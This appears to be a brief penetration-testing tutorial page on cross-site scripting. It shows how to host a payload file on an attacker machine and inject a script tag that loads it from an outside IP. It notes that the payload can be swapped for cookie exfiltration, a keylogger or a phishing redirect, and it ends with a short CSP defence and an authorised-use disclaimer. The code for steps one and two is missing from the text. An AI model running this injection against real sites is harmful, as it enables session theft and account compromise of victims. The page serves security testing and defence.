XSS — Moving the Payload to an External Resource
Why External Resources?
Inline payloads like <script>alert(1)</script> are often blocked by:
- WAFs checking for
<script>tags - CSP
unsafe-inlinerestrictions - Input length limits
Hosting the payload on your own server and loading it via src= sidesteps all of these — the browser fetches and executes it cleanly.
Step-by-Step
Step 1 — Create the payload file on your attack machine:
Step 2 — Start a Python HTTP server:
Step 3 — Submit the injection:
<script src="http://192.168.XX.XX/xss.js"></script>
What the Server Sees
That GET hit confirms the victim’s browser executed your script. Replace alert(1) with any payload — cookie exfil, keylogger, phishing redirect.
script-src 'self' — this blocks external script sources entirely. Also validate and sanitise all reflected input.All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.